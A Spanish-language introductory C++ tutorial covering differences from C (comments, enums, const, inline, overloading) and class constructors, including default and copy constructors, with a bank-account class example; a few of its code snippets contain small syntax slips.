Aprenda C++
como si estuviera en primero

ÍNDICE
1 INTRODUCCIÓN.......................................................................................................................................1
2 MODIFICACIONES MENORES...............................................................................................................2
2.1 CAMBIO EN LA EXTENSIÓN DEL NOMBRE DE LOS FICHEROS................................................................2
2.2 COMENTARIOS INTRODUCIDOS EN EL PROGRAMA ..............................................................................2
2.3 DECLARACIÓN SIMPLIFICADA DE VARIABLES TIPO ENUMERACIÓN.....................................................3
2.4 DECLARACIÓN SIMPLIFICADA DE VARIABLES CORRESPONDIENTES A ESTRUCTURAS..........................4
2.5 MAYOR FLEXIBILIDAD EN LA DECLARACIÓN DE VARIABLES ..............................................................4
2.6 SCOPE O VISIBILIDAD DE VARIABLES ..................................................................................................5
2.7 ESPECIFICADOR CONST PARA VARIABLES ...........................................................................................6
2.8 ESPECIFICADOR CONST PARA PUNTEROS.............................................................................................7
2.9 CONVERSIONES EXPLÍCITAS DE TIPO ..................................................................................................8
2.10 ESPECIFICADOR INLINE PARA FUNCIONES ...........................................................................................8
2.11 SOBRECARGA DE FUNCIONES..............................................................................................................9
2.12 VALORES POR DEFECTO DE PARÁMETROS DE UNA FUNCIÓN...............................................................9
2.13 VARIABLES DE TIPO REFERENCIA ......................................................................................................10
2.14 OPERADORES NEW Y DELETE PARA GESTIÓN DINÁMICA DE MEMORIA...............................................12
2.15 PUNTEROS DE TIPO VOID...................................................................................................................13
2.16 NUEVA FORMA DE REALIZAR LAS OPERACIONES DE ENTRADA Y SALIDA..........................................14
2.17 FUNCIONES CON NÚMERO DE PARÁMETROS VARIABLE.....................................................................15
3 MODIFICACIONES MAYORES ............................................................................................................16
3.1 INTRODUCCIÓN A LA PROGRAMACIÓN ORIENTADA A OBJETOS (OOP) ............................................16
3.2 CLASES, OBJETOS Y MÉTODOS.........................................................................................................17
3.3 EJEMPLO DE CLASE EN C++: NÚMEROS COMPLEJOS .........................................................................17
3.4 CLASE SIN SECCIONES PRIVADAS: STRUCT ........................................................................................23
3.5 CLASES CON SECCIONES PRIVADAS. .................................................................................................25
3.6 EXPANSIÓN INLINE ...........................................................................................................................27
3.6.1 Definición ..........................................................................................................................27
3.6.2 Implementación de las funciones inline.............................................................................27
3.7 ENTRADA Y SALIDA DE DATOS .........................................................................................................28
3.7.1 Una breve comparación con la entrada y salida de datos de ANSI C...............................29
3.8 OPERADORES NEW Y DELETE CON CLASES ........................................................................................30
3.9 CONSTRUCTORES Y DESTRUCTORES .................................................................................................31
3.9.1 Inicializadores ...................................................................................................................32
3.9.2 Llamadas al constructor....................................................................................................32
3.9.3 Constructor por defecto y constructor con parámetros con valor por defecto..................33
3.9.4 Constructor de oficio.........................................................................................................34
3.9.5 Constructor de copia .........................................................................................................34
3.9.6 Necesidad de escribir un constructor de copia .................................................................35
3.9.7 Los constructores y el operador de asignación (=)...........................................................37
3.9.8 Destructores ......................................................................................................................37
3.10 CLASES Y FUNCIONES FRIEND...........................................................................................................38
3.11 EL PUNTERO THIS.............................................................................................................................40
3.12 SOBRECARGA DE OPERADORES.........................................................................................................40
3.12.1 Clase cadena para manejo de cadenas de caracteres.......................................................41
3.12.2 Definición de funciones y operadores de la clase cadena.................................................45
3.12.3 Ejemplo de utilización de la clase cadena.........................................................................48
3.12.4 Sobrecarga de los operadores (++) y (--).........................................................................50
3.13 OBJETOS MIEMBRO DE OTROS OBJETOS. ...........................................................................................51
3.14 VARIABLES MIEMBRO STATIC............................................................................................................53
3.15 FUNCIONES MIEMBRO STATIC............................................................................................................55
4 HERENCIA................................................................................................................................................57
4.1 NECESIDAD DE LA HERENCIA ...........................................................................................................57
4.2 DEFINICIÓN DE HERENCIA ................................................................................................................57
ESIISS: Aprenda C++ como si estuviera en Primero página 2
4.2.1 Variables y funciones miembro protected .........................................................................57
4.3 CONSTRUCTORES DE LAS CLASES DERIVADAS: INICIALIZADOR BASE ...............................................60
4.4 HERENCIA SIMPLE Y HERENCIA MÚLTIPLE........................................................................................60
4.5 CLASES BASE VIRTUALES .................................................................................................................61
4.6 CONVERSIONES ENTRE OBJETOS DE CLASES BASE Y CLASES DERIVADAS .........................................62
5 POLIMORFISMO ....................................................................................................................................63
5.1 IMPLEMENTACION DE LAS FUNCIONES VIRTUALES ...........................................................................65
5.2 FUNCIONES VIRTUALES PURAS .........................................................................................................66
5.3 CLASES ABSTRACTAS .......................................................................................................................67
5.4 DESTRUCTORES VIRTUALES .............................................................................................................67
6 ENTRADA/SALIDA EN C++ ...................................................................................................................69
6.1 ENTRADA/SALIDA CON FORMATO.....................................................................................................69
6.2 ACTIVAR Y DESACTIVAR INDICADORES ............................................................................................70
6.3 FUNCIONES MIEMBRO WIDTH(), PRECISION() Y FILL()........................................................................71
6.3.1 Manipuladores de entrada/salida......................................................................................71
6.4 SOBRECARGA DE LOS OPERADORES DE ENTRADA/SALIDA (<< Y >>)................................................72
6.5 ENTRADA/SALIDA DE FICHEROS .......................................................................................................72
6.5.1 Funciones miembro de iostream........................................................................................73
6.5.2 Funciones miembro de fstream..........................................................................................74
6.5.3 Ejemplo completo de lectura y escritura en un fichero .....................................................75
6.5.4 Errores de Entrada/Salida.................................................................................................76
7 OPCIONES AVENZADAS: PLANTILLAS (TEMPLATES) Y MANEJO DE EXCEPCIONES......78
7.1 PLANTILLAS ....................................................................................................................................78
7.1.1 Plantillas de funciones ......................................................................................................78
7.1.2 Plantillas de clases ............................................................................................................79
7.1.3 Plantillas vs. Polimorfismo................................................................................................81
7.2 MANEJO DE EXCEPCIONES................................................................................................................81

ESIISS: Aprenda C++ como si estuviera en Primero página 2
2 MODIFICACIONES MENORES
Como ya se ha dicho, el C++ contiene varias modificaciones menores sobre el C original.
Normalmente se trata de aumentar la capacidad del lenguaje y la facilidad de programación en un
conjunto de detalles concretos basados en la experiencia de muchos años. Como el ANSI C es
posterior a los primeros compiladores de C++, algunas de estas modificaciones están ya
introducidas en el ANSI C. En cualquier caso, se trata de modificaciones que facilitan el uso del
lenguaje, pero que no cambian su naturaleza.
Hay que indicar que el C++ mantiene compatibilidad casi completa con C, de forma que el
viejo estilo de hacer las cosas en C es también permitido en C++, aunque éste disponga de una
mejor forma de realizar esas tareas.
2.1 Cambio en la extensión del nombre de los ficheros
El primer cambio que tiene que conocer cualquier programador es que los ficheros fuente de C++
tienen la extensión *.cpp (de C plus plus, que es la forma oral de llamar al lenguaje en inglés), en
lugar de *.c. Esta distinción es muy importante, pues determina ni más ni menos el que se utilice el
compilador de C o el de C++. La utilización de nombres incorrectos en los ficheros puede dar lugar
a errores durante el proceso de compilación.
2.2 Comentarios introducidos en el programa
En C los comentarios empiezan por los caracteres /* y terminan con los caracteres */. Pueden
comprender varias líneas y estar distribuidos de cualquier forma, pero todo aquello que está entre el
/* (inicio del comentario) y el */ (fin del comentario) es simplemente ignorado por el compilador.
Algunos ejemplos de formato de comentarios son los siguientes:
/* Esto es un comentario simple. */
/* Esto es un comentario más largo,
distribuido en varias líneas. El
texto se suele alinear por la izquierda. */
/**************************************
* Esto es un comentario de varias *
* líneas, encerrado en una caja para *
* llamar la atención. *
**************************************/
En C++ se admite el mismo tipo de comentarios que en C, pero además se considera que son
comentarios todo aquel texto que está desde dos barras consecutivas (//) hasta el fin de la línea2. Las
dos barras marcan el comienzo del comentario y el fin de la línea, el final. Si se desea poner
comentarios de varias líneas, hay que colocar la doble barra al comienzo de cada línea. Los
ejemplos anteriores se podrían escribir del siguiente modo:
// Esto es un comentario simple.
// Esto es un comentario más largo,
// distribuido en varias líneas. El
// texto se suele indentar por la izquierda.
2 El ANSI C permite el mismo tipo de comentarios que el C++, utilizando la doble barra //.
Capítulo 2: Modificaciones menores página 3
//*************************************
// Esto es un comentario de varias *
// líneas, encerrado en una caja para *
// llamar la atención. *
//*************************************
La ventaja de este nuevo método es que no se pueden comentar inadvertidamente varias líneas
de un programa abriendo un indicador de comentario que no se cierre en el lugar adecuado.
2.3 Declaración simplificada de variables tipo enumeración
Las enumeraciones (variables enum) permiten definir variables de tipo entero con un número
pequeño de valores que están representados por identificadores alfanuméricos. Estos identificadores
permiten que el programa se entienda más fácilmente, dando un significado a cada valor de la
variable entera. Las variables tipo enum son adecuadas para representar de distintas formas valores
binarios (SI o NO; VERDADERO o FALSO; EXITO o FRACASO, etc.), los días de la semana
(LUNES, MARTES, MIERCOLES, ...), los meses del año (ENERO, FEBRERO, MARZO, ...), y
cualquier conjunto análogo de posibles valores. En C las variables de tipo enum se hacían
corresponder con enteros, y por tanto no hacían nada que no se pudiera hacer también con enteros.
En C++ las variables enum son verdaderos tipos de variables, que necesitan un cast para que un
valor entero les pueda ser asignado (ellas son promovidas a enteros cuando hace falta de modo
automático). Esto quiere decir que si una función espera recibir como argumento un tipo enum sólo
se le puede pasar un entero con un cast. Por el contrario, si espera recibir un entero se le puede
pasar un valor enum directamente.
La principal razón de ser de las variables enum es mejorar la claridad y facilidad de
comprensión de los programas fuente.
Por ejemplo, si se desean representar los colores rojo, verde, azul y amarillo se podría definir
un tipo de variable enum llamada color cuyos cuatro valores estarían representados por las
constantes ROJO, VERDE, AZUL Y AMARILLO, respectivamente. Esto se puede hacer de la
siguiente forma:
enum color {ROJO, VERDE, AZUL, AMARILLO};
Utilizar mayúsculas para los identificadores que representan constantes es una convención
estilística ampliamente adoptada. En el ejemplo anterior se ha definido el tipo color, pero no se ha
creado todavía ninguna variable con ese tipo.
Por defecto los valores enteros asociados empiezan en 0 y van aumentando de uno en uno.
Así, por defecto, los valores asociados serán:
ROJO = 0 VERDE = 1 AZUL = 2 AMARILLO = 3
Sin embargo, el programador puede asignar el valor que desee a cada uno de esos
identificadores, asignando incluso el mismo entero a varios identificadores diferentes. por ejemplo,
siguiendo con el tipo color:
enum color {ROJO = 3, VERDE = 5, AZUL = 7, AMARILLO};
Lógicamente en este caso los valores enteros asociados serán:
ROJO = 3 VERDE = 5 AZUL = 7 AMARILLO = 8
Cuando no se establece un entero determinado para un identificador dado, se toma el entero
siguiente al anteriormente asignado. Por ejemplo, en el caso anterior al AMARILLO se le asigna un
8, que es el número siguiente al asignado al AZUL.
ESIISS: Aprenda C++ como si estuviera en Primero página 4
Una vez que se ha definido un tipo enum, se pueden definir cuantas variables de ese tipo se
desee. Esta definición es distinta en C y en C++. Por ejemplo, para definir las variables pintura y
fondo, de tipo color, en C hay que utilizar la sentencia:
enum color pintura, fondo; /* esto es C */
mientras que en C++ bastaría hacer:
color pintura, fondo; // esto es C++
Así pues en C++ no es necesario volver a utilizar la palabra enum. Los valores que pueden
tomar las variables pintura y fondo son los que puede tomar una variable del tipo color, es decir:
ROJO, VERDE, AZUL Y AMARILLO. Se puede utilizar, por ejemplo, la siguiente sentencia de
asignación:
pintura = ROJO;
Hay que recordar que al imprimir una variable enum se imprime su valor entero y no su valor
asociado3.
2.4 Declaración simplificada de variables correspondientes a estructuras
De modo análogo a lo que pasa con la palabra clave enum, en C++ no es necesario colocar la
palabra clave struct para declarar una variable del tipo de una estructura definida por el usuario. Por
ejemplo, si se define la estructura alumno del modo siguiente:
struct alumno {
long nmat;
char nombre[41];
};
en C++ se puede declarar después una variable delegado del tipo alumno simplemente con:
alumno delegado; // esto es C++
mientras que en C es necesario utilizar también la palabra struct en la forma:
struct alumno delegado; /* esto es C */
2.5 Mayor flexibilidad en la declaración de variables
La declaración de variables en C++ es similar a la de C, pero con una importante diferencia. En
ANSI C las variables tenían que ser declaradas (salvo que fueran extern) al comienzo de un bloque,
antes de la primera sentencia ejecutable de dicho bloque.
En C++ las variables pueden ser declaradas en cualquier lugar de un bloque4. Esto permite
acercar la declaración de las variables al lugar en que se utilizan por primera vez. Las variables auto
declaradas de esta forma existen desde el momento en que se declaran, hasta que se llega al fin del
bloque correspondiente.
Un caso importante son los bucles for. En C++ la variable que sirve de contador al bucle
puede declararse e inicializarse en la propia sentencia for. Por ejemplo, considérese el siguiente
bucle para sumar los elementos de un vector:
3 En C++ se podría conseguir que escribiera correctamente el tipo enum, sobrecargando el operador << de modo
adecuado, según se verá en secciones posteriores. La opción por defecto es que el tipo enum se promueve a entero y
se imprime su valor.
4 Un bloque es una unidad básica de agrupamiento de declaraciones e instrucciones encerrada entre llaves ({}).
Capítulo 2: Modificaciones menores página 5
for (double suma = 0.0, int i = 0; i<n; i++)
suma += a[i];
donde las variables suma e i son declaradas y creadas como double e int en el momento de iniciarse
la ejecución del bucle for.
2.6 Scope o visibilidad de variables
La visibilidad de una variable es la parte del programa en la que esa variable está definida y puede
ser utilizada. La duración hace referencia al tiempo que transcurre entre la creación de una variable
y el instante en que es destruida. En general la visibilidad de una variable auto abarca desde el
punto en el que se define hasta que finaliza el bloque en el que está definida. Si la declaración de
una variable no se encuentra dentro de ningún bloque (variable global o extern), la visibilidad se
extiende desde el punto de declaración hasta el final del fichero (otros ficheros pueden ver dicha
variable sólo si la declaran como extern).
Las reglas de duración y visibilidad de C++ son similares a las de C. En C++ la visibilidad de
una variable puede ser local, a nivel de fichero o a nivel de clase. Este último concepto, la clase, es
la base de la Programación Orientada a Objetos y se estudiará detenidamente a partir del Capítulo
3.
Las variables locales se crean dentro de un bloque y sólo son visibles dentro del bloque en el
que han sido definidas y en sus bloques anidados, salvo que sean ocultadas por una nueva variable
del mismo nombre declarada en uno de esos bloques anidados.
Las variables que tienen visibilidad a nivel de fichero –variables globales– se definen fuera de
cualquier bloque, función o clase.
Una variable local declarada dentro de un bloque oculta una variable global del mismo
nombre u otra variable local también del mismo nombre declarada en un bloque más exterior. Por
ejemplo, puede suceder que en un bloque, hasta la declaración de una variable x se pueda estar
utilizando otra variable con el mismo nombre x de otro bloque que contenga al primero. A partir de
su declaración y hasta el final de su bloque, la nueva variable x será la local del bloque más interior.
Véase el ejemplo siguiente:
...
{
double x = 2.0;
printf("lf", x); // se imprime 2.0
{
printf("lf", x); // se imprime 2.0
double x = 3.0;
printf("lf", x); // se imprime 3.0
}
printf("lf", x); // se imprime 2.0
}
...
En C++ las variables definidas dentro de una clase –variables miembro– pueden ser
declaradas como privadas o como públicas5. Las variables miembro que han sido declaradas como
privadas no son visibles fuera de la clase; si se declaran como públicas se puede acceder a ellas
mediante los operadores punto (.) y flecha (->), con las mismas reglas que para las variables
miembro de las estructuras de C. Las funciones miembro de una clase tienen visibilidad directa
sobre todas las variables miembro de esa clase, sin necesidad de que les sean pasadas como
argumento.
5 Más adelante se verá que existe una tercera forma de declarar las variables miembro: protected.
ESIISS: Aprenda C++ como si estuviera en Primero página 6
La duración (lifetime) de una variable es el período de tiempo en que esta variable existe
durante la ejecución del programa. La duración de una variable puede ser automatic (opción por
defecto) o static. En el primer caso –el caso de las variables declaradas dentro de un bloque – la
variable se crea y se destruye cada vez que se pasa por el bloque. Las variables static existen hasta
que termina la ejecución del programa. Su valor se conserva entre las distintas pasadas por un
bloque. Para que una variable local sea static hay que declararla como tal dentro del bloque.
Debe recordarse que aunque una variable exista durante toda la ejecución de un programa,
sólo puede utilizarse en la zona del programa en que esa variable es visible.
C++ dispone del operador (::), llamado operador de resolución de visibilidad (scope
resolution operator). Este operador, antepuesto al nombre de una variable global que está oculta
por una variable local del mismo nombre, permite acceder al valor de la variable global6.
Considérese el siguiente ejemplo:
int a = 2; // declaración de una variable global a
void main(void)
{
...
printf("a = %d", a); // se escribe a = 2
int a = 10; // declaración de una variable local a
printf("a = %d", a); // se escribe a = 10
printf("a = %d", ::a); // se escribe a = 2
}
El operador (::) no permite acceder a una variable local definida en un bloque más exterior
oculta por otra variable local del mismo nombre. Este operador sólo permite acceder a una variable
global oculta por una variable local del mismo nombre.
2.7 Especificador const para variables
En C++ el especificador const se puede utilizar con variables y con punteros7. Las variables
definidas como const no son lo mismo que las constantes simbólicas, aunque evidentemente hay
una cierta similitud en las áreas de aplicación. Si una variable se define como const se tiene la
garantía de que su valor no va a cambiar durante toda la ejecución del programa. Si en alguna
sentencia del programa se intenta variar el valor de una variable definida como const, el compilador
produce un mensaje de error. Esta precaución permite detectar errores durante la compilación del
programa, lo cual siempre es más sencillo que detectarlos en tiempo de ejecución.
Las variables de este tipo pueden ser inicializadas pero no pueden estar a la izquierda de una
sentencia de asignación.
Las variables declaradas como const tienen importantes diferencias con las constantes
simbólicas definidas con la directiva #define del preprocesador. Aunque ambas representan valores
que no se puede modificar, las variables const están sometidas a las mismas reglas de visibilidad y
duración que las demás variables del lenguaje.
Las variables const de C++ pueden ser utilizadas para definir el tamaño de un vector en la
declaración de éste, cosa que no está permitida en C. Así las siguientes sentencias, que serían
ilegales en C, son ahora aceptadas en C++:
6 El operador (::) no puede utilizarse para ver una variable local oculta por otra variable local del mismo nombre.
7 En ANSI C el especificador const también se puede utilizar con variables y con punteros, pero con estos últimos
sólo de una de las dos formas posibles en C++.
Capítulo 2: Modificaciones menores página 7
void main(void)
{
const int SIZE = 5;
char cs[SIZE] ;
}
De todas formas, nunca puede declararse ninguna variable array cuyo tamaño sea
desconocido en tiempo de compilación. Si el tamaño de una variable va a ser conocido sólo en
tiempo de ejecución, hay que utilizar reserva dinámica de memoria tanto en C como en C++.
Es muy frecuente que las funciones a las que por motivos de eficiencia (para no tener que
sacar copias de los mismos) se les pasan los argumentos por referencia, éstos serán declarados como
const en la definición y en el prototipo de la función, con objeto de hacer imposible una
modificación accidental de dichos datos. Esto sucede por ejemplo con las funciones de manejo de
cadenas de caracteres. El prototipo de la función strcpy() puede ser como sigue:
char *strcpy(char *s1, const char *s2);
donde s1 es la cadena copia y s2 es la cadena original. Como no tiene sentido tratar de modificar la
cadena original dentro de la función, ésta se declara como const. En este caso el valor de retorno es
un puntero a la cadena copia s1.
2.8 Especificador const para punteros
En el caso de los punteros hay que distinguir entre dos formas de aplicar el cualificador const:
1. un puntero variable apuntando a una variable constante y
2. un puntero constante apuntando a una variable cualquiera.
Un puntero a una variable const no puede modificar el valor de esa variable (si se intentase el
compilador lo detectaría e imprimiría un mensaje de error), pero ese puntero no tiene por qué
apuntar siempre a la misma variable.
En el caso de un puntero const, éste apunta siempre a la misma dirección de memoria pero el
valor de la variable almacenada en esa dirección puede cambiar sin ninguna dificultad.
Un puntero a variable const se declara anteponiendo la palabra const:
const char *nombre1 "Ramón" // no se puede modificar el valor de la variable
Por otra parte, un puntero const a variable cualquiera se declara interponiendo la palabra
const entre el tipo y el nombre de la variable:
char* const nombre2 "Ramón" // no se puede modificar la dirección a la que
// apunta el puntero, pero sí el valor.
En ANSI C una variable declarada como const puede ser modificada a través de un puntero a
dicha variable. Por ejemplo, el siguiente programa compila y produce una salida i=3 con el
compilador de C, pero da un mensaje de error con el compilador de C++8:
8 En ambos casos se ha utilizado el compilador de Visual C/C++ de Microsoft. La única diferencia es que el fichero
fuente termina en *.c para el compilador de C y en *.cpp para el compilador de C++.
ESIISS: Aprenda C++ como si estuviera en Primero página 8
#include <stdio.h>
void main(void)
{
const int i = 2;
int *p;
p = &i;
*p = 3;
printf("i = %d", i);
}
2.9 Conversiones explícitas de tipo
Además de las conversiones implícitas de tipo que tienen lugar al realizar operaciones aritméticas
entre variables de distinto tipo –promociones– y en las sentencias de asignación, el lenguaje C
dispone de una conversión explícita de tipo de variables, directamente controlada por el
programador, llamada cast. El cast se realiza anteponiendo al nombre de la variable o expresión el
tipo al que se desea hacer la conversión encerrado entre paréntesis. Por ejemplo, pera devolver
como int un cociente entre las variables double x e y:
return (int) (x/y);
El lenguaje C++ dispone de otra conversión explícita de tipo con una notación similar a la de
las funciones y más sencilla que la del cast. Se utiliza para ello el nombre del tipo al que se desea
convertir seguido del valor a convertir entre paréntesis. Así, las siguientes expresiones son válidas
en C++:
y = double(25);
return int(x/y);
2.10 Especificador inline para funciones
C++ permite sustituir, en tiempo de compilación, la llamada a una función por el código
correspondiente en el punto en que se realiza la llamada. De esta manera la ejecución es más rápida,
pues no se pierde tiempo transfiriendo el control y realizando conversiones de parámetros. Como
contrapartida, el programa resultante ocupa más memoria, pues es posible que el código de una
misma función se introduzca muchas veces, con las repeticiones consiguientes. Las funciones inline
resultan interesantes en el caso de funciones muy breves, que aparecen en pocas líneas de código
pero que se ejecutan muchas veces (en un bucle for, por ejemplo). Existen 2 formas de definirlas:
1. Una primera forma de utilizar funciones inline es anteponer dicha palabra en la
declaración de la función, como por ejemplo:
inline void permutar(int &a, int &b);
2. Otra forma de utilizar funciones inline sin necesidad de utilizar esta palabra es introducir
el código de la función en la declaración (convirtiéndose de esta manera en definición),
poniéndolo entre llaves { } a continuación de ésta. Este segundo procedimiento suele
utilizarse por medio de ficheros header (*.h), que se incluyen en todos los ficheros fuente
que tienen que tener acceso al código de las funciones inline. Considérese el siguiente
ejemplo, consistente en una declaración seguida de la definición:
void permutar (int *i, int *j) { int temp; temp = *i; *i = *j; *j = temp; }
En cualquier caso, la directiva inline es sólo una recomendación al compilador, y éste puede
desestimarla por diversas razones, como coste de memoria excesivo, etc.
Capítulo 2: Modificaciones menores página 9
2.11 Sobrecarga de funciones
La sobrecarga (overload) de funciones consiste en declarar y definir varias funciones distintas que
tienen un mismo nombre. Dichas funciones se definen de forma diferente. En el momento de la
ejecución se llama a una u otra función dependiendo del número y/o tipo de los argumentos actuales
de la llamada a la función. Por ejemplo, se pueden definir varias funciones para calcular el valor
absoluto de una variable, todas con el mismo nombre abs(), pero cada una aceptando un tipo de
argumento diferente y con un valor de retorno diferente.
La sobrecarga de funciones no admite funciones que difieran sólo en el tipo del valor de
retorno, pero con el mismo número y tipo de argumentos. De hecho, el valor de retorno no influye
en la determinación de la función que es llamada; sólo influyen el número y tipo de los argumentos.
Tampoco se admite que la diferencia sea el que en una función un argumento se pasa por valor y en
otra función ese argumento se pasa por referencia.
A continuación se presenta un ejemplo con dos funciones sobrecargadas, llamadas ambas
string_copy(), para copiar cadenas de caracteres. Una de ellas tiene dos argumentos y la otra tres.
Cada una de ellas llama a una de las funciones estándar del C: strcpy() que requiere dos
argumentos, y strncpy() que requiere tres. El número de argumentos en la llamada determinará la
función concreta que vaya a ser ejecutada:
// Ejemplo de función sobrecargada
#include <iostream.h>
#include <string.h>
inline void string_copy(char *copia, const char *original)
{
strcpy(copia, original);
}
inline void string_copy(char *copia, const *original, const int longitud)
{
strncpy(copia, original, longitud);
}
static char string_a[20], string_b[20];
void main(void)
{
string_copy(string_a, "Aquello");
string_copy(string_b, "Esto es una cadena", 4);
cout << string_b << " y " << string_a;
// La última sentencia es equivalente a un printf() de C
// y se explica en un próximo apartado de este manual
}
2.12 Valores por defecto de parámetros de una función
En ANSI C se espera encontrar una correspondencia biunívoca entre la lista de argumentos actuales
(llamada) y la lista de argumentos formales (declaración y definición) de una función. Por ejemplo,
supóngase la siguiente declaración de una función para calcular el módulo de un vector x con n
elementos:
double modulo(double x[], int n);
En C esta función tiene que ser necesariamente llamada con dos argumentos actuales que se
corresponden con los dos argumentos formales de la declaración.
forma:
Capítulo 3: Modificaciones mayores página 33
C_Cuenta c1 = C_Cuenta(500.0, 10.0);
o bien, de una forma implícita, más abreviada, permitida por C++:
C_Cuenta c1(500.0, 10.0);
Los dos ejemplos que se acaban de presentar tienen en común el que se trata de crear el objeto
c1 perteneciente a la clase C_Cuenta. Esto va en la línea de lo ya apuntado: siempre que se crea un
objeto de una clase, se llama implícita o explícitamente al constructor de la clase para que lo
inicialice.
3.9.3 CONSTRUCTOR POR DEFECTO Y CONSTRUCTOR CON PARÁMETROS CON VALOR POR DEFECTO
Se llama constructor por defecto a un constructor que no necesita que se le pasen parámetros o
argumentos para inicializar las variables miembro de la clase. Un constructor por defecto es pues
un constructor que no tiene argumentos o que, si los tiene, todos sus argumentos tienen asignados
un valor por defecto en la declaración del constructor. En cualquier caso, puede ser llamado sin
tenerle que pasar ningún argumento.
El constructor por defecto es necesario si se quiere hacer una declaración en la forma:
C_Cuenta c1;
y también cuando se quiere crear un vector de objetos, por ejemplo en la forma:
C_Cuenta cuentas[100];
ya que en este caso se crean e inicializan múltiples objetos sin poderles pasar argumentos
personalizados o propios para cada uno de ellos.
Al igual que todas las demás funciones de C++, el constructor puede tener definidos unos
valores por defecto para los parámetros, que se asignen a las variables miembro de la clase. Esto es
especialmente útil en el caso de que una variable miembro repita su valor para todos o casi todos los
objetos de esa clase que se creen. Considérese el ejemplo siguiente:
class C_Cuenta {
// Variables miembro
private:
double Saldo; // Saldo Actual de la cuenta
double Interes; // Interés aplicado
public:
// Constructor
C_Cuenta(double unSaldo=0.0, double unInteres=0.0)
{
SetSaldo(unSaldo);
SetInteres(unInteres);
}
// Métodos
char *GetNombre()
{ return Nombre; }
double GetSaldo()
{ return Saldo; }
double GetInteres()
{ return Interes; }
void SetSaldo(double unSaldo)
{ Saldo = unSaldo; }
void SetInteres(double unInteres)
{ Interes = unInteres; }
void Ingreso(double unaCantidad)
{ SetSaldo( GetSaldo() + unaCantidad ); }
};
ESIISS: Aprenda C++ como si estuviera en Primero página 34
void main() {
// Ya es válida la construcción sin parámetros
C_Cuenta C0; // unSaldo=0.0 y unInteres=0.0
// También es válida con un parámetro
C_Cuenta C1(10.0); // unSaldo=10.0 y unInteres=0.0
// y con dos parámetros
C_Cuenta C2(20.0, 1.0); // unSaldo=20.0 y unInteres=1.0
...
}
En el ejemplo anterior se observa la utilización de un mismo constructor para crear objetos de
la clase C_Cuenta de tres maneras distintas. La primera llamada al constructor se hace sin
argumentos, por lo que las variables miembro tomaran los valores por defecto dados en la
definición de la clase. En este caso Saldo valdrá 0 e Interes también valdrá 0.
En la segunda llamada se pasa un único argumento, que se asignará a la primera variable de la
definición del constructor, es decir a Saldo. La otra variable, para la que no se asigna ningún valor
en la llamada, tomará el valor asignado por defecto. Hay que recordar aquí que no es posible en la
llamada asignar un valor al segundo argumento si no ha sido asignado antes otro valor a todos los
argumentos anteriores (en este caso sólo al primero). En la tercera llamada al constructor se pasan
dos argumentos por la ventana de la función, por lo que las variables miembro tomarán esos
valores.
3.9.4 CONSTRUCTOR DE OFICIO
¿Qué hubiera pasado si en la clase C_Cuenta no se hubiera definido ningún constructor? Pues en
este caso concreto, no hubiera pasado nada, o al menos nada catastrófico. El compilador de C++
habría creado un constructor de oficio, sin argumentos. ¿Qué puede hacer un constructor sin
argumentos? Pues lo más razonable que puede hacer es inicializar todas las variables miembro a
cero. Quizás esto es muy razonable para el Saldo, aunque quizás no tanto para la variable Interes.
Así pues, se llamará en estos apuntes constructor por defecto a un constructor que no tiene
argumentos o que si los tiene, se han definido con valores por defecto. Se llamará constructor de
oficio al constructor por defecto que define automáticamente el compilador si el usuario no define
ningún constructor. Ambos conceptos no son equivalentes, pues si bien todo constructor de oficio
es constructor por defecto (ya que no tiene argumentos), lo contrario no es cierto, pues el
programador puede definir constructores por defecto que obviamente no son de oficio.
Un punto importante es que el compilador sólo crea un constructor de oficio en el caso de que
el programador no haya definido ningún constructor. En el caso de que el usuario sólo haya
definido un constructor con argumentos y se necesite un constructor por defecto para crear por
ejemplo un vector de objetos, el compilador no crea este constructor por defecto sino que da un
mensaje de error.
Los constructores de oficio son cómodos para el programador (no tiene que programarlos) y
en muchos casos también correctos y suficientes. Sin embargo, ya se verá en un próximo apartado
que en ocasiones conducen a resultados incorrectos e incluso a errores fatales.
3.9.5 CONSTRUCTOR DE COPIA
Ya se ha comentado que C++ obliga a inicializar las variables miembro de una clase llamando a un
constructor, cada vez que se crea un objeto de dicha clase. Se ha comentado también que el
constructor puede recibir como parámetros los valores que tiene que asignar a las variables
miembro, o puede asignar valores por defecto.
Capítulo 3: Modificaciones mayores página 35
Existe un caso particular de gran interés no comprendido en lo explicado hasta ahora y que se
produce cuando se crea un objeto inicializándolo a partir de otro objeto de la misma clase. Por
ejemplo, C++ permite crear tres objetos c1, c2 y c3 de la siguiente forma:
C_Cuenta c1(1000.0, 8.5);
C_Cuenta c2 = c1;
C_Cuenta c3(c1);
En la primera sentencia se crea un objeto c1 con un saldo de 1000 y un interés del 8.5%. En la
segunda se crea un objeto c2 a cuyas variables miembro se les asignan los mismos valores que
tienen en c1. La tercera sentencia es una forma sintáctica equivalente a la segunda: también c3 se
inicializa con los valores de c1.
En las sentencias anteriores se han creado tres objetos y por definición se ha tenido que llamar
tres veces a un constructor. Realmente así ha sido: en la primera sentencia se ha llamado al
constructor con argumentos definido en la clase, pero en la segunda y en la tercera se ha llamado a
un constructor especial llamado constructor de copia (copy constructor). Por definición, el
constructor de copia tiene un único argumento que es una referencia constante a un objeto de la
clase. Su declaración sería pues como sigue:
C_Cuenta(const C_Cuenta&);
Las sentencias anteriores de declaración de los objetos c2 y c3 funcionarían correctamente
aunque no se haya declarado y definido en la clase C_Cuenta ningún constructor de copia. Esto es
así porque el compilador de C++ proporciona también un constructor de copia de oficio, cuando el
programador no lo define. El constructor de copia de oficio se limita a realizar una copia bit a bit
de las variables miembro del objeto original al objeto copia. En este caso, eso es perfectamente
correcto y es todo lo que se necesita. Pronto se verá algún ejemplo en el que esta copia bit a bit no
da los resultados esperados. En este caso el programador debe preparar su propio constructor de
copia e incluirlo en la clase como un constructor sobrecargado más.
Además del ejemplo visto de declaración de un objeto iniciándolo a partir de otro objeto de la
misma clase, hay otros dos casos muy importantes en los que se utiliza el constructor de copia:
1. Cuando a una función se le pasan objetos como argumentos por valor, y
2. Cuando una función tiene un objeto como valor de retorno.
En ambos casos hay que crear copias del objeto y para ello se utiliza el constructor de copia.
3.9.6 NECESIDAD DE ESCRIBIR UN CONSTRUCTOR DE COPIA
Ha llegado ya el momento de explicar cómo surge la necesidad de escribir un constructor de copia
distinto del que proporciona el compilador. Considérese una clase Alumno con dos variables
miembro: un puntero a char llamado nombre y un long llamado nmat que representa el número de
matrícula..
class Alumno {
char* nombre;
long nmat;
...
};
En realidad, esta clase no incluye el nombre del alumno, sino sólo un puntero a carácter que
permitirá almacenar la dirección de memoria donde está realmente almacenado el nombre. Esta
